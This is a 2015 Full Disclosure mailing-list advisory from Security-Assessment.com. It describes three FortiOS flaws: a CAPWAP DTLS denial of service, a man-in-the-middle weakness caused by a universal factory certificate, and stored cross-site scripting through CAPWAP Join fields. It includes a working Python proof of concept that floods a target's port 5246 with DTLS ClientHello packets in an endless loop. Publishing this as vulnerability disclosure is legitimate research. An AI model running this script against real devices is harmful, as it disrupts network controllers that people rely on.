full-disclosure - [FD] Fortinet FortiOS Multiple Vulnerabilities

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Message-ID: <54C9A320.8010904@security-assessment.com>
Date: Thu, 29 Jan 2015 16:04:00 +1300
From: Denis Andzakovic <denis.andzakovic@...urity-assessment.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] Fortinet FortiOS Multiple Vulnerabilities

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                presents..

Fortinet FortiOS Multiple Vulnerabilities
Affected Versions: Verified on FortiOS Firmware v5.0,build4457 (GA Patch 7)

PDF:
http://www.security-assessment.com/files/documents/advisory/Fortinet_FortiOS_Multiple_Vulnerabilities.pdf

+-------------+
| Description |
+-------------+
This advisory details multiple vulnerabilities found within the Fortinet
FortiOS software. FortiOS is a security-hardened, purpose-built Operating
System that is the foundation of all FortiGate network security platforms.

A denial of service vulnerability was discovered within the CAPWAP Daemon,
allowing an attacker to lock the CAPWAP Access Controller. This was achieved
by sending recurring DTLS messages to the daemon. The CAPWAP daemon itself was
found to suffer from a Man-In-The-Middle vulnerability, due to the nature of
Fortinet’s certificate practices. A Stored Cross Site Scripting vulnerability
was also discovered, allowing an attacker to send a crafted CAPWAP join
request containing malicious JavaScript code. This code is subsequently
rendered in the FortiOS administrative console.

+--------------+
| Exploitation |
+--------------+

--[ CAPWAP Daemon DTLS Denial of Service Vulnerability

During the DTLS session establishment, the protocol implements a
‘HelloVerifyRequest’ send back to the client in response to the initial
‘ClientHello’. The client is then required to send a ‘ClientHello’ with a
specific cookie provided in the ‘HelloVerifyRequest’. This is designed to
protect against Denial of Service attacks. It was discovered that, even though
the Fortinet DTLS server implements this, sending a number of initial
‘ClientHello’ requests in short succession creates a denial of service
condition on the FortiOS device.

The number of requests required to trigger the condition was found to be
dependent on the specifications of the machine running FortiOS, however this
was tested against a mid-range Fortigate device and successfully caused a
Denial of Service condition with as little as ten requests.

The following POC code can be used to replicate this vulnerability:

#!/usr/bin/python
#
# FortiOS CAPWAP Control Denial Of Service POC
# 
# This exploit will trigger a denial of service
# condition on the FortiOS CAPWAP Control Daemon
# by sending recurring DTLS Client Hello 
# messages.
#
# Author: Denis Andzakovic
# Date: 19/08/2014
#

import socket 
import os
import time
from struct import pack
import binascii
import argparse

# Grab parameters from command line
parser = argparse.ArgumentParser(description='FortiOS CAPWAP Control Server - DTLS Client Hello DOS')
parser.add_argument('-d','--host', help="IP Address of the host to attack", required=True)
args = parser.parse_args()

randombytes = os.urandom(28)
capwapreamble = "\x01\x00\x00\x00"
hello = "\x16" + "\xfe\xff" + "\x00"*8 #handshake id, version, epoch and seq
handshakeProtocol = "\x01" + "\x00\x00\x2c" + "\x00"*6 + "\x00\x2c" + "\xfe\xff" + pack(">i",int(time.time())) + randombytes + "\x00" + "\x00" + "\x00\x04" + "\x00\x2f\x00\x0a\x01\x00"

while True:
	sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	sock.sendto(capwapreamble + hello + pack(">H",len(handshakeProtocol)) + handshakeProtocol, (args.host, 5246))
	resp, senderaddr = sock.recvfrom(4098)

	cookie = resp[31:]
	print "[+] Got response. Cookie: " + binascii.hexlify(cookie)

--[ DTLS Man-In-The-Middle Vulnerability

Fortinet devices were found to use DTLS for the CAPWAP control protocol, with
the CAPWAP data protocol being cleartext by default. The CAPWAP DTLS protocol
was found to use a universal ‘Fortinet_Factory’ certificate and private key,
the certificate authority for which is static across all Fortinet devices. A
method for replacing this certificate was not found.

By harvesting this certificate and key, an attacker may stage Man in the
Middle attacks against any Fortinet device using the CAPWAP DTLS protocol.
This allows for the retrieval of sensitive information such as wireless SSIDs
and WPA passphrases. The two files, ‘Fortinet_Factory.cer’ and
‘Fortinet_Factory.key’ can be found in the /etc/cert/local directory on
Fortinet devices.

The following details the ‘Fortinet_Factory’ certificate and private
key. By using the following certificate an attacker may stage
Man in the Middle attacks against any Fortinet access point or wireless
controller implementing the CAPWAP Control protocol globally.

By sending a crafted CAPWAP Join packet, a malicious entity may stage Cross
Site Scripting attacks against legitimate administrative users. This is
achieved by inserting malicious JavaScript code into the WTP Name or WTP
Active Software Version fields within the CAPWAP Join request. The WTP Active
Software Version field is a child parameter of the WTP Descriptor message
element.

+----------+
| Solution |
+----------+
There is no official solution for these issues. All Access Controller to
Wireless Termination Point (and vice-versa) traffic is recommended to be kept
on a secure network and rigorously firewalled to reduce the exploitability of
these vulnerabilities.

+---------------------+
| Disclosure Timeline |
+---------------------+
08/10/2014 -	Initial email sent to Fortinet PSIRT team.
09/10/2014 -	Advisory documents sent to Fortinet.
15/10/2014 -	Acknowledgement of advisories from Fortinet.
16/10/2014 -	Update requested from Fortinet.
02/12/2014 -	Update requested from Fortinet.
13/12/2014 -	Update requested from Fortinet.
29/01/2015 -	Advisory Release.

+-------------------------------+
| About Security-Assessment.com |
+-------------------------------+

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